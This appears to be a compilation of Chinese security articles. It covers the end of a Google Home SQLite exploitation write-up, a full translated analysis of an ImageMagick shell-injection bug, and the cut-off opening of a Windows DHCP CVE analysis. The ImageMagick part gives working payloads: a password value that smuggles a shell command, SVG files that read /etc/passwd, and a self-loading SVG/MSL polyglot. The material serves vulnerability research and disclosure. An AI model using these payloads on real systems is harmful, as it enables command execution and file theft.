但在32位机器(如Google
Home)中，堆通常位于大于0x7fffffff的地址中，当加上另一个较大的数字(如0x7fffffff)时，必然存在整数溢出，结果可能非常小，此检查将通过。
zCsr是表示BLOB中当前位置的指针，zEnd是指向BLOB的最后一个字符的指针。
如zCsr=0xe00000000，zEnd=0xe0002000，nSuffix=0x20000001，zCsr+nSuffix的结果为0x1，小于zEnd，可以通过此检查。
总而言之，可能有2个条件：
a).nSuffix小于未处理的实际数据量。
b).nSuffix是一个巨大的数字，导致zCsr+nSuffix的整数溢出，我们认为b在Google Home中是可利用的。
选择的值将对下一次验证产生影响，我们将在此处将该值命名为“X”。
3、第二次检查
变量nAlloc是分配的缓冲区数量，通常每次值增加两倍。
请注意，nAlloc可以大于实际数据，并且不能保证重新分配的内存区内的数据是从原始BLOB获得的，因此我们可以在这里泄漏一些堆信息。
d）如果nSuffix满足上述条件(a)，但nPrefix大于buf持有的实际数据，则下一步可能存在信息泄漏问题。
(因为sqlite3_realloc调用libc的realloc，这不会将内存初始化为零)。
e）如果(nPrefix+nSuffix)*2大于0x1`0000
0000(仅保留低32位)，则在realloc之后，buf将被设置为非常小的缓冲区，这可能使缓冲区溢出。
攻击者可以将nPrefix设置为较大的值，而将nSuffix设置为较小的值，这将导致越界写。
f)如果我们选择利用a)或b)，将nSuffix(我们称其为“Y”)设置为Y=0x80000000-X(你可能不想将Y设置为80000000-X，你可以这么做，但如果这样做，则很可能会在memcpy期间崩溃)。
例如,
* 我们有zCsr=0xa0000000，nPrefix=7ffff001来触发zCsr+nPrefix-1，结果是0x1 1FFF000，较高的0x1被截断，因此它实际上是0x1ffff000。
* 我们将nSuffix设置为0xfff，因此nPrefix+nSuffix整数溢出，结果是0x0，0x0小于nalloc，因此我们不会进入realloc部分。(if( nPrefix+nSuffix>nAlloc ) {realloc…})
* 因此，最后，将会有一个写大小为0xfff的对0x1ffff000的越界写入。
4、触发缓冲区相关漏洞的代码h)
memcpy(&zBuffer[nPrefix]，zCsr，nSuffix)；
这将复制数据，并且nPrefix、zCsr、nSuffix是可控制的。nPrefix，nSuffix的最大值为0x7fffffff。
5、信息泄漏i )
我们可以使用SELECT来获取匹配的数据，以获取泄漏的数据。
(我们现在没有足够的时间来编写PoC，但我们认为这是可利用的。)
**6.3 CVE-2018-20506**
fts3扩展中的fts3SegReaderNext可能允许攻击者泄漏堆数据或导致堆缓冲区溢出。
有漏洞的函数
此代码位于fts3SegReaderNext中，此漏洞原理与6.2相同。
### **0x07 远程攻破Google Home**
本节将会介绍如何结合Google CAST协议安全风险与Magellan漏洞，对Google
Home发起攻击并最终实现远程代码执行。第一部分主要是编写与调试CVE-2018-20346的漏洞利用代码，这包含了寻找劫持控制流的函数指针，寻求触发函数指针的调用路径，堆内存布局及RCE。第二部分是通过CAST协议在局域网及互联网远程环境下推送payload到Google
Home中实现恶意代码执行。
**7.1可利用函数指针**
首先，需要找到在堆上使用的函数指针用于劫持控制流。在创建fts3表时，默认情况下会创建tokenizer其默认值为simple_tokenizer。具体结构如下图所示：
simple_tokenizer是堆上分配的结构，其成员base指向sqlite3_tokenizer结构，sqlite3_tokenizer结构的成员pModule指向tokenizer_module，而tokenizer_module包含了许多回调函数，例如xCreate
/ xOpen。分析调用流程后，我们了解到在对fts3表进行插入操作时将触发xOpen回调函数，若将xOpen的地址修改为任意地址，则可以劫持PC。
**7.2 劫持PC**
在漏洞触发后的路径上，若要完成前述的PC劫持需要满足两个条件。第一，在堆溢出后能够操作fts3表；另外，还需要在内存释放前完成劫持，否则就会导致crash从而中断利用过程。通过分析memcpy到free代码路径，存在函数fts3TruncateSegment，该函数会执行一次SQL
update操作，正如下图蓝色标记的代码。既然能够执行SQL语句，那么就可以利用SQL Trigger在执行该update操作前执行fts3表的操作
最终，我们通过Trigger在SQL update操作和free内存之前执行了fts3 表的插入操作，进而触发xOpen回调完成劫持PC。
**7.3 堆内存布局**
完成了前述两步后，接下来将会介绍进行内存布局的思路。具体思路如下图：
1. 通过创建多个fts3表，即可在堆上创建多个simple_tokenizer结构；
2. 选择适当的时机删除之前创建的fts3表，对应simple_tokenizer结构也会随之释放；
3. 由于simple_tokenizer结构体在堆上会连续存储且分配与simple_tokenizer相同大小的内存将会重用已经释放的simple_tokenizer结构。因此，通过调整payload大小，可以将fts3表的simple_tokenizer结构覆盖掉；
4. 最后，利用SQL Trigger执行fts3表的操作，触发被覆盖的回调函数来劫持PC。
**7.4绕过ASLR**
当具备劫持PC和控制寄存器的能力后，我们还需要信息泄露漏洞绕过ASLR。同样还是利用漏洞CVE-2018-20346，通过调节nDoclist和pNode->a，就能够泄露以下两类地址：
1. 泄露cast_shell加载基址，根据该地址和偏移计算出需要的ROP gadgets；
2. 泄露最后堆的基址，根据这个地址和偏移，较大概率能计算出堆喷地址。
**7.5 cast_shell渲染进程RCE**
cast_shell是一个很大的二进制程序，包含了很多可用的ROP
gadget。结合堆喷和ROP技术，便可以在cast_shell的renderer中远程执行代码，下图为ROP和堆喷内存状况：
一个堆喷单元里面包含伪造的sqlite3_tokenizer_module和ROP
gadgets。伪造的sqlite3_tokenizer_module结构体里的xCreate/xOpen地址将会被赋值为stack
pivot地址。堆喷的过程就是把多个这样的单元插入到数据库的表中。经过多次尝试，可以把其放置在和最后堆基址相对固定的偏移上；而溢出后覆盖的simple_tokenizer结构里包含了stack
pivot所需的寄存器数据。一切顺利的话，将能在cast_shell的renderer里实现远程代码执行，效果如下图所示:
左图表示可以完成了PC劫持和控制的寄存器。右图则是ShellCode的运行结果（正常情况下，navigator.appName是只读数据，为”Netscape”，Shellcode代码执行后将其改成了”AAAAcape”。
**7.6 局域网内与远程攻击链**
**局域网攻击链**
局域网内，攻击者可以直接发送CAST协议完成攻击。
1. 通过"Launch APPID=1"的指令，Google Home会根据APPID拉取应用市场上的Leak.html并加载，可利用该恶意网页用于泄露内存数据；
2. 接着，发送"Launch APPID=2"的指令，Google Home就会加载Exp.html，从而远程代码执行，整个过程不需要用户交互。
**互联网远程攻击链**
1. 攻击者诱导用户通过Chrome浏览器访问Sender Application的url，这时Chrome浏览器会提示用户选择设备，用户确认后将会开始攻击流程；
2. 参考Cast Hack的攻击思路，通过扫描网络上存在UPnP Forwarding的路由器，尝试发起远程攻击；
### **0x08 后记**
在向Google报告漏洞后，Google在2018年12月的Chrome安全补丁中修复了我们提交的所有漏洞。
本文是Tencent Blade Team物联网安全系列的第一篇，主要内容整理自团队在BlackHat USA
2019及DEFCON27的演讲，由于篇幅限制部分内容无法详细叙述，大家可以参考附录中的whitepaper，同时也欢迎大家同我们进行技术交流，联系方式参见Blade
Team官网： （<https://blade.tencent.com>）
参考：
1. <https://drive.google.com/drive/folders/0B3j4zj2IQp7MZkplRzRvcERtaU0>
2. <https://2018.zeronights.ru/wp-content/uploads/materials/19-Researching-Marvell-Avastar-Wi-Fi.pdf>
3. <https://github.com/axoltl/HubCap>
4. <https://developers.google.com/cast/docs/developers>
5. <https://blade.tencent.com/magellan/>
6. <https://chromereleases.googleblog.com/2018/12/stable-channel-update-for-desktop.html>
7. <https://media.defcon.org/DEF%20CON%2027/DEF%20CON%2027%20presentations/DEFCON-27-Wenxiang-Qian-Yuxiang-Li-Huiyu-Wu-Breaking-Google-Home-Exploit-It-with-SQLite-Magellan.pdf>
8. <http://i.blackhat.com/USA-19/Thursday/us-19-Qian-Exploring-The-New-World-Remote-Exploitation-Of-SQLite-And-Curl.pdf>
9. <https://i.blackhat.com/USA-19/Thursday/us-19-Qian-Exploring-The-New-World-Remote-Exploitation-Of-SQLite-And-Curl-wp.pdf>
* * * | 社区文章 |
# 深入分析ImageMagick的Shell注入漏洞
|
##### 译文声明
本文是翻译文章，文章原作者 insert-script，文章来源：insert-script.blogspot.com
原文地址：<https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html>
译文仅供参考，具体内容表达以及含义原文为准。
ImageMagick是一款图像处理软件，可以创建、编辑、合成或转换位图图像。该软件支持读取和写入各种格式（超过200种）的图像，其中包括PNG、JPEG、GIF、HEIC、TIFF、DPX、EXR、WebP、Postscript、PDF和SVG，等等。
2016年，相关研究人员指出，ImageMagick不仅功能强大，比如可以读取本地文件，而且可以通过恶意制作的图像来执行shell命令。此后，安全研究人员又爆出ImageMagick对外部程序（ghostscript）的支持功能含有远程执行漏洞。
鉴于过去的研究，我快速考察了ImageMagick所支持的外部程序(libreoffice/openoffice)，并决定深入了解一下IM(ImageMagick)是如何调用外部程序，以及对于shell注入漏洞的修复方式。在此过程中，我不仅发现了一个漏洞，同时还注意到：
1）IM团队真的很活跃，并且试图快速解决任何提出的问题（这一点很重要）。
2）ImageMagick是一个很棒的文件转换工具。它支持一些非常罕见和古老文件类型（通常是通过外部程序来提供支持的），并尽可能地对使用户友好，有时都友好得过头了。
## ImageMagick、https与cURL。
对于ImageMagick软件来说，delegates.xml文件以及coders文件夹是其重要的组成部分，因为它们与文件的处理方式紧密相关；同时，许多安全问题也出在这里。
其中，delegates.xml文件规定了处理特定文件类型时用于调用外部程序的相关命令和参数。但在此之前，该软件会先通过coders文件夹中的处理程序来解析文件，并确定是否需要调用外部程序（这是一种简化的描述，但在大多数情况下，它的确就是这样工作的）。
由于coders文件夹中含有很多文件，所以，我们决定先来考察一下ImageMagick是如何处理https:
URL的，因为我们知道最后会使用curl，而curl很容易受到命令注入漏洞的影响。
简而言之，https:的处理程序是在下面这一行代码中注册的：
https://github.com/ImageMagick/ImageMagick/blob/master/coders/url.c#L327
如果IM软件需要处理https: URL，则会调用以下分支：
https://github.com/ImageMagick/ImageMagick/blob/master/coders/url.c#L157
status=InvokeDelegate(read_info,image,"https:decode",(char *) NULL,
然后，InvokeDelegate调用InterpretDelegateProperties，后者会调用GetMagickPropertyLetter，之后，GetMagickPropertyLetter继续调用SanitizeDelegateString。
whitelist[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 "
"$-_.+!;*(),{}|\\^~[]`\"><#%/?:@&=";
[...]
for (p+=strspn(p,whitelist); p != q; p+=strspn(p,whitelist))
*p='_';
return(sanitize_source);
在非windows系统上，这个函数会用“_”代替’（单引号）（我认为这是默认的功能）。这一点很重要，因为最后会调用ExternalDelegateCommand。而这个函数用于处理对外部可执行文件的调用。根据delegates.xml中定义的curl命令，用户定义的URL将用单引号括起来。由于之前已经过滤了单引号，所以，无法注入额外的shell命令。
为了验证这一点，我修改了IM的源码，并加入一些printf语句来转储创建的命令。
同时，我们假设一个SVG或MVG指定了一个如下所示的https：URL。
<svg width="200" height="200"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="https://example.com/test'injection" height="200" width="200"/>
</svg>
命令行：
convert test.svg out.png
ImageMagick软件创建的shell命令如下所示：
curl -s -k -L -o 'IMrandomnumber.dat' 'https://example.com/test_injection'
重要提示：如本例所示，不同的编码器可以相互调用，因为在本例中SVG会触发url.c编码器的执行。如果ImageMagick被编译成使用第三方库（比如librsvg）来解析SVG文件，那么，第三方库会自行处理相关协议。在这种情况下，仍然可以通过MSVG支持来触发ImageMagicks自己的SVG解析器：
convert test.msvg out.png
此外，ImageMagick还允许通过下面的语法来指定处理程序：
convert msvg:test.svg out.png
## 读取本地文件
由于ImageMagick允许设置特定的文件处理程序，具体如上图所示，因此，我决定考察一下哪些处理程序可以用来读取和泄漏本地文件。
在这里，我们假设一个用户控制的SVG文件被IMs内部的SVG解析器转换为PNG文件，然后返回给最终用户。对于这种情形，我们可以在网站的头像上传中遇到。
convert test.svg userfile.png
在ImageTragick中已经提到了第一个强大的编码器便是“text:”。该编码器用于将纯文本转换成图像（每页文本对应于一张图像），它是ImageMagick的“paged
text”输入运算符。该编码器可以在txt.c中进行注册。
<svg width="1000" height="1000"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="text:/etc/passwd" height="500" width="500"/>
</svg>
另一个读取/etc/passwd的例子是基于LibreOffice的。这是可以做到的，因为LibreOffice支持文本文件的渲染。由于ImageMagick不支持这种文件类型，所以，它会通过delegates.xml中的decode属性找到相应的协议处理程序。
当然，这种攻击手法只适用于安装了OpenOffice/LibreOffice的情形：
<svg width="1000" height="1000"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="odt:/etc/passwd" height="500" width="500"/>
</svg>
如果安装了html2ps，也可以使用“html:”。虽然ImageMagick注册了一个“HTML”处理程序，但它只设置了一个编码器条目。并且，这些编码器只负责文件类型的创建/写入工作，而不负责读取工作（这是由解码器完成的）。因此，可以在delegates.xml中通过下列方式使用该解码器：
<svg width="1000" height="1000"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="html:/etc/passwd" height="500" width="500"/>
</svg>
接下来，让我们回到shell注入上面来。
## 切入点：加密的PDF
在了解了curl的用法后，我又考察了command在delegates.xml中的相关定义：
<delegate decode="https:decode"
command=""@WWWDecodeDelegate@" -s -k -L -o "%u.dat" "https:%M""/>
其中，%M被替换为用户控制的URL。因此，我检查了%M的所有出现位置，以及它们是否被正确处理。此外，我还查看了定义在property.c中的所有替换值，最终没有发现任何注入漏洞。
之后，我在pdf.编码器中偶然发现了下面的内容：
(void) FormatLocaleString(passphrase,MagickPathExtent,
"\"-sPDFPassword=%s\" ",option);
这似乎设置了一个密码，因此，这很可能是由用户完全控制的，所以，我查了一下这个参数设置是如何设置的，以及是否可以利用。根据变更日志，ImageMagick在2017年增加了一个“-authenticate”命令行参数，允许用户为加密的PDF设置密码。
因此，我通过以下命令对其进行了测试，这里将转储创建的命令：
convert -authenticate "password" test.pdf out.png
创建的Shell命令：
'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=pngalpha' -dTextAlphaBits=4
-dGraphicsAlphaBits=4 '-r72x72' "-sPDFPassword=password" '-sOutputFile=/tmp/magick-YPvcqDeC7K-Q8xn8VZPwHcp3G1WVkrj7%d' '-f/tmp/magick-sxCQc4-ip-mnuSAhGww-6IFnRQ46CBpD' '-f/tmp/magick-pU-nIhxrRulCPVrGEJ868knAmRL8Jfw9'
由于我们已经确认密码包含在创建的gs命令中（该命令用于解析指定的PDF），因此，现在是时候检查双引号的处理是否正确了：
convert -authenticate 'test" FFFFFF' test.pdf out.png
'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=pngalpha' -dTextAlphaBits=4
-dGraphicsAlphaBits=4 '-r72x72' "-sPDFPassword=test" FFFFFF" '-sOutputFile=/tmp/magick-YPvcqDeC7K-Q8xn8VZPwHcp3G1WVkrj7%d' '-f/tmp/magick-sxCQc4-ip-mnuSAhGww-6IFnRQ46CBpD' '-f/tmp/magick-pU-nIhxrRulCPVrGEJ868knAmRL8Jfw9
令人惊讶的是，我们竟然能够提前关闭-sPDFPassword参数，这使我们能够提供额外的shell命令。其中，指定的“password”必须包含字符”&;<>|”中的一个，这样shell注入漏洞才会被真正触发。之所以如此，是因为只有存在上述字符的情况下，ImageMagick才会使用系统调用（即系统shell）：
if ((asynchronous != MagickFalse) ||
(strpbrk(sanitize_command,"&;<>|") != (char *) NULL))
status=system(sanitize_command);
因此，我测试了以下命令：
convert -authenticate 'test" `echo $(id)> ./poc`;"' test.pdf out.png
创建的Shell命令：
'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=pngalpha' -dTextAlphaBits=4
-dGraphicsAlphaBits=4 '-r72x72' "-sPDFPassword=test" `echo $(id)> ./poc`;"" '-sOutputFile=/tmp/magick-pyNxb2vdkh_8Avwvw0OlVhu2EfI3wSKl%d' '-f/tmp/magick-IxaYR7GhN3Sbz-299koufEXO-ccxx46u' '-f/tmp/magick-GXwZIbtEu63vyLALFcqHd2c0Jr24iitE'
如上所示，这里已创建文件“poc”，其中包含id命令的输出。这样，就可以确认存在shell注入漏洞了。
但是，这里的问题是：用户不太可能去设置authenticate参数。因此，我决定寻找更好的PoC。
## 漏洞利用：MSL与Polyglots
现在，我需要找到一种通过受支持的文件类型设置“-authenticate”参数的方法，并且我已经知道在哪里寻找：ImageMagick脚本语言（MSL）。MSL可以用来设置输入文件、输出文件和其他参数。同时，我们可以在此处找到相应的示例文件，下面是一个简化版本：
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="image.jpg" />
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="image.png" />
</image>
ImageMagick团队称，这种文件格式还没有正确的说明文档，因此，我检查了受支持的属性相关的源代码。我很快在MSL编码器的源代码中发现了下面的内容：
if (LocaleCompare(keyword,"authenticate") == 0)
{
(void) CloneString(&image_info->density,value);
break;
}
经过一番折腾，我发现该路径可以处理任何设置了authenticate属性的标记。但是代码将定义的值分配给了density属性，这是没有任何意义的。在研究了其余的MSL代码后，我得出以下结论：
1）这段代码应该是想要设置authenticate属性，类似于”-authenticate”命令行参数。
2）代码是错误的，因此阻止了滥用shell注入的可能性。
因此，我决定做一些以前从未做过的事情：通过Github提交此问题，看看能否得到解决。为此，我创建了一个新的github帐户：https://github.com/ImageMagick/ImageMagick/discussions/2779。
最后，代码被正确修复了：
if (LocaleCompare(keyword,"authenticate") == 0)
{
(void) SetImageOption(image_info,keyword,value);
break;
}
我立即创建了一个PoC MSL脚本来验证是否可以利用shell注入漏洞。注意，必须指定msl:协议处理程序，这样IM才能正确地解析脚本文件：
<?xml version="1.0" encoding="UTF-8"?>
<image authenticate='test" `echo $(id)> ./poc`;"'>
<read filename="test.pdf" />
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="out.png" />
</image>
convert msl:test.msl whatever.png
它成功了：创建了“PoC”文件，从而验证了shell注入漏洞的可利用性。
最后一步：将所有内容打包到一个SVG polyglot文件中。
## SVG MSL polyglot文件
我创建的polyglot文件其实就是一个SVG文件，它将自身加载为MSF文件，以触发shell注入漏洞。这个SVG polyglot文件如下所示：
poc.svg:
<image authenticate='ff" `echo $(id)> ./0wned`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:poc.svg" height="100" width="100"/>
</svg>
</image>
首先，SVG结构具有一个image根标签。由于解析器并没有强制要求SVG标签是根标签，所以，IM将这个文件解析为SVG是没有问题的。此外，这个SVG结构还指定了一个图像URL，它使用的是msl:poc.svg。这就是告诉ImageMagick要用MSL编码器来加载poc.svg。
虽然MSF是一个基于XML的结构，但MSF编码器并没有部署一个真正的XML解析器。相反，它只要求文件以它支持的标签开头。同时，我使用的另一个技巧存在于read标签中。这里有一个限制：只有PDF文件才会触发该漏洞。为了绕过这个限制，这里规定为任何已知的本地文件，并使用pdf:协议处理程序来确保它被当作PDF文件对待。
PoC文件的演示动画如下所示：
当然，这个PoC仍然不完美，因为我们必须假设文件名不会发生变化，因为文件必须能够引用自身。但我觉得现在这样就够了。
## 小结
显然，这个漏洞仅在ImageMagick没有使用处理PDF解析的第三方库进行编译的情况下才有效。
此外，用户必须能够通过命令行或MSL（如我的PoC文件所示）设置“authenticate”参数。
如果ImageMagick不能处理PDF文件，可以通过policy.xml文件禁用PDF编码器，从而阻止shell注入攻击。关于如何配置policy.xml的详细介绍，请参见https://imagetragick.com/。 | 社区文章 |
# 深入分析Windows系统DHCP漏洞（CVE-2019-0726）
##### 译文声明
本文是翻译文章，文章原作者 ptsecurity，文章来源：blog.ptsecurity.com
原文地址：<http://blog.ptsecurity.com/2019/05/dhcp-security-in-windows-10-analyzing.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
微软发布1月份补丁时，人们发现竟然有关于DHCP客户端存在严重漏洞的信息（[CVE-2019-0547](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-0547)）。这个漏洞CVSS评分很高，微软也没有立即发布Exploitability
Index（可利用指数），因此用户难以抉择是否应该立即更新系统，这引起了广泛讨论。[有些机构](https://www.thezdi.com/blog/2019/1/8/the-january-2019-security-update-review)甚至认为，官方没有公布Exploitability
Index，代表很快就会有利用代码公布。
MaxPatrol等解决方案可以识别网络上哪些计算机存在漏洞，其他解决方案可以检测利用漏洞的攻击行为。为了能让这些解决方案行之有效，我们需要描述能够用来检测漏洞以及检测攻击行为的具体规则。另一方面，当我们找到攻击方法以及利用条件后，我们就可以制定出相应的规则。换句话说，我们需要找到与漏洞利用相关的所有细枝末节。与厂商网站以及CVE中的粗略描述不同，这个过程需要我们更加深入以及全面理解这些信息，厂商的描述通常比较简单，比如：
> 这个漏洞的原因在于操作系统没有正确处理内存中的对象。
因此，为了及时更新我们产品中的规则，以便检测利用DHCP漏洞的攻击行为、确定受影响的设备，我们需要深入分析所有细节。在二进制漏洞方面，许多人一上来就会通过patch-diff方式直达底层，比较并找到打补丁前后应用程序、库或者操作系统内核上的修改，但实际上第一步还是应该搜集信息。
> 注意：如果想直接阅读漏洞分析内容，大家可以跳过DHCP背景知识，直接查看“DecodeDomainSearchListData函数”这部分内容。
## 0x01 信息搜集
使用搜索引擎查找目前关于漏洞的所有信息后，我们并没有找到太多细节，并且获得的主要信息都转述自MSRC网站的[原始资料](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0547)，当微软在内部审计期间发现错误时经常会出现这种情况。
从这些公开信息中，我们发现这个漏洞与内存破坏有关，运行Windows 10 version
1803的客户端和服务端都会受此漏洞影响，当攻击者向DHCP客户端发送精心构造的响应时就会触发该漏洞。几天之后，该页面又新增了Exploitation
Index等级。
如上图所示，MSRC给的等级指数为2：不大可能成功利用。这意味着这个漏洞很有可能要么不可利用，要么利用起来非常困难。不可否认的是，微软在这方面并没有打低分的习惯，部分原因可能是考虑到声誉风险，也有可能是公司内部响应中心职能相对独立的结果。因此我们可以相信微软，认为官方给的可利用等级很有可能是真实的，然后以此开始分析利用方法。但不论如何，仔细检查漏洞成因总归不是坏事。漏洞形式可能多种多样，可能某事某刻又在某个地方重新出现。
我们在官方站点上下载`.msu`形式的补丁（安全更新），解压补丁后查找最可能与客户端DHCP响应处理有关的文件。现在这种操作已经越来越难，微软已经不通过独立的补丁来修复特定的错误，而是采用一个补丁包来包含整个月的补丁。这种方式增加了许多无关信息，我们必须找到真正感兴趣的目标。
在各种文件中，我们设置的过滤器筛选出了几个库，然后将这些库与未打补丁时的库进行对比，其中`dhcpcore.dll`库看上去似乎最有希望。此外，[BinDiff](https://www.zynamics.com/bindiff.html)还找到了最小改动的地方：
实际上，微软只在1个函数上做了或多或少的改动：`DecodeDomainSearchListData`。如果大家对DHCP协议及相关函数非常熟悉，那么应该知道该函数负责处理哪个列表。如果不熟悉，我们可以来分析一下这个协议。
## 0x02 DHCP协议及相关选项
DHCP（[RFC 2131](https://tools.ietf.org/html/rfc2131) |
[wiki](https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol)）是一个可扩展协议，由选项字段保证整个协议的扩展性。每个选项由唯一的tag（编号，标识符）来描述，选项中包含数据内容及数据大小，这也是网络协议常用的布局方式。在这些选项中，有一个“Domain
Search”选项（参考[RFC
3397](https://tools.ietf.org/html/rfc3397)），该选项允许DHCP服务器在客户端上设置标准的域名后缀。这种方式可以作为DNS后缀，方便网络连接。
比如，假设我们在客户端上设置了如下后缀域名：
.microsoft.com
.wikipedia.org
随后，如果采用域名方式获取客户端地址，这些尾部域名就会逐一插入DNS请求中，直到找到匹配项为止。比如，如果用户在浏览器地址中输入`ru`字符串，那么DNS请求就会先构造`ru.microsoft.com`，然后再构造`ru.wikipedia.org`：
实际上，现代浏览器都太智能了，它们会将类似FQDN的名字重定向到搜索引擎，因此我们可以看到不那么“智能”的输出结果：
大家可能会觉得这就是漏洞的根源所在。就这个行为而言，DHCP服务器能够修改DNS后缀，这对使用DHCP协议来请求网络参数的客户端而言的确可以算是一种安全风险。然而根据RFC，这是非常正常且已经在文档中描述的一种行为。DHCP服务器实际上是一种可信组件，的确能够影响接入的设备。
## 0x03 域名搜索选项
域名搜索（Domain
Search）选项编号为`0x77`（`119`）。与其他选项一样，该选项由单字节tag的选项编号来标识。与大多数选项类似，该选项tag后都跟着数据大小（1字节）。DHCP信息可以包含多个域名搜索选项，在这种情况下，这些选项会按照消息中的顺序拼接在一起。
上图来自[RFC
3397](https://tools.ietf.org/html/rfc3397)中的一个示例，相关数据被分成3块，每块数据大小为9字节。如上图所示，各个子域名开头为子域名所占大小（1字节），随后是子域名字符串。完整域名以`null`字节作为结尾符。
此外，该选项使用的是最简单的数据压缩方法：reparse
points（重解析点）。除了域名大小之外，选项字段中可能还包含`0xc0`。此时，下一个字节就代表相对于选项开头数据的一个偏移量，用来搜索域名的结尾符。因此，在这个例子中，我们可以得到两个域名后缀：
.eng.apple.com
.marketing.apple.com
## 0x04 DecodeDomainSearchListData函数
编号为`0x77`（`119`）的DHCP选项可以让服务器设置客户端的DNS后缀，但这不适用于搭载Windows操作系统的计算机。之前的微软系统会忽略这个选项，因此之前在必要时，系统会使用组策略来应用DNS后缀名。然而，在Windows
10 version 1803发布后，Windows已经可以处理Domain
Search选项。由于`dhcpcore.dll`中的函数名已经改变，因此可以判断系统添加的处理函数中包含错误。
现在我们可以开始分析。稍微梳理代码后，我们发现`DecodeDomainSearchListData`函数会解码来自服务端消息中Domain
Search选项所包含的数据，输入数据满足前面描述的数组格式，输出以`null`结尾的一个字符串，字符串中包含由逗号分隔的结尾域名列表。比如，如果输入上述示例中的数据，那么该函数会得到如下字符串：
eng.apple.com,marketing.apple.com
系统会在`UpdateDomainSearchOption`过程中调用`DecodeDomainSearchListData`，将返回的列表写到注册表的`DhcpDomainSearchList`参数中：
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{INTERFACE_GUID}\
该注册表键值中保存特定网络接口的主要参数：
`DecodeDomainSearchListData`函数包含两大步骤，第一步是执行所有的必要操作，但并没有分配输出缓冲区。因此第一步该函数会计算保存返回数据所需的内存空间大小。第二步将分配内存空间，使用该数据填充已分配的内存。该函数代码量并不大，大约只有250条指令，主要功能是处理输入流中可能出现的3种类型：
`0x00`、`0xc0`以及其他值。DHCP漏洞补丁在第二步开头处添加了针对结果缓冲区大小的一个检查步骤，如果该大小为0，那么就不会为该缓冲区分配内存，函数就会结束运行，返回一个错误：
因此只有当目标缓冲区大小为0时，才会触发该漏洞。并且该函数在一开始也会检查输入参数，输入数据大小不能小于2字节。因此，如果想成功利用漏洞，我们需要找到一个非空的域名后缀，使其输出缓冲区大小等于0.
## 0x05 漏洞利用
我首先想到的第一件事就是使用重解析点来确保非空输入数据会生成一个空的输出字符串：
如果我们设置服务器，使其返回的响应包中带有精心构造的这个选项，那么没有打补丁的客户端的确会出现访问access
violation（非法访问）错误，接下来我们解释具体原因。在每个步骤中，当函数因此解析部分域名时，就会将这部分域名拷贝至目标缓冲区中，然后添加一个点号。对于RFC给出的这个示例，如下数据会被依次拷贝到缓冲区中：
1). eng.
2). eng.apple.
3). eng.apple.com.
然后，当在输入数据中遇到大小为0的域名时，该函数就会修改目标缓冲区数据，将前一个符号从点号改成逗号：
4). eng.apple.com,
然后继续解析：
5). eng.apple.com,marketing.
6). eng.apple.com,marketing.apple.
7). eng.apple.com,marketing.apple.com.
8). eng.apple.com,marketing.apple.com,
当输入数据结束时，函数最后只需要将最后一个逗号替换为`null`字符，此时待写入注册表中的字符串如下所示：
9). eng.apple.com,marketing.apple.com
那么当攻击者发送前面构造的缓冲区时会发生什么情况呢？在这个例子中，我们可以看到列表中只包含一个元素：一个空字符串。在第一步处理中，函数会计算输出缓冲数据大小。由于数据并没有包含任何非零域名，因此该缓冲区大小为0。
在第二步处理中，函数会为该数据分配一个堆内存块，然后拷贝数据。然而由于解析函数会立刻碰到一个`null`字符，表明已经到达域名结尾处，因此如前所述，函数会将前一个字符从点号更改为逗号，此时我们就会碰到一个问题。目标缓冲区迭代器被设置为0，没有前一个字符。前一个字符属于堆内存块头，该字符会被修改为`0x2c`（逗号）。
然而这种情况只有在32位系统上才会发生。使用unsigned
int来存储目标缓冲区迭代器的当前位置在64位系统上会有所不同。让我们仔细研究负责将逗号写入缓冲区的部分代码片段：
系统会使用32位`eax`寄存器从当前位置减去1，然而在缓冲区寻址时，代码会使用完整的64位`rax`来寻址。在AMD64架构上，使用32位寄存器的任何操作都会将寄存器的高半字（high
halfword）置零。这意味着原来值位0的`rax`寄存器在经过减法操作后，得到的值将会变成`0xffffffff`，而不是`-1`。因此，在64位系统上，`0x2c`这个值将会被写入`buf[0xffffffff]`处，位于为缓冲区分配的内存区域之外。
这些信息与微软对该漏洞的可利用评级紧密相关。为了利用该漏洞，攻击者必须知道如何在DHCP客户端上执行远程堆喷射操作，也需要具备堆内存分布的足够控制权，才能确保预设值（即逗号和点号）会被写入已准备好的地址处，从而实现可控的漏洞触发效果。
否则，将数据写入未经检查的地址将导致`svchost.exe`进程出现错误，可能也会影响该进程当前托管的所有服务，随后操作系统可能会重新启动这些服务。如果条件允许，攻击者也可能利用这一点。
关于这个漏洞，目前这似乎是我们能得到的所有研究结果，但我们感觉不应当这么草草结束，毕竟我们还没有考虑所有选项，肯定还有我们尚未发现的点。
## 0x06 CVE-2019-0726
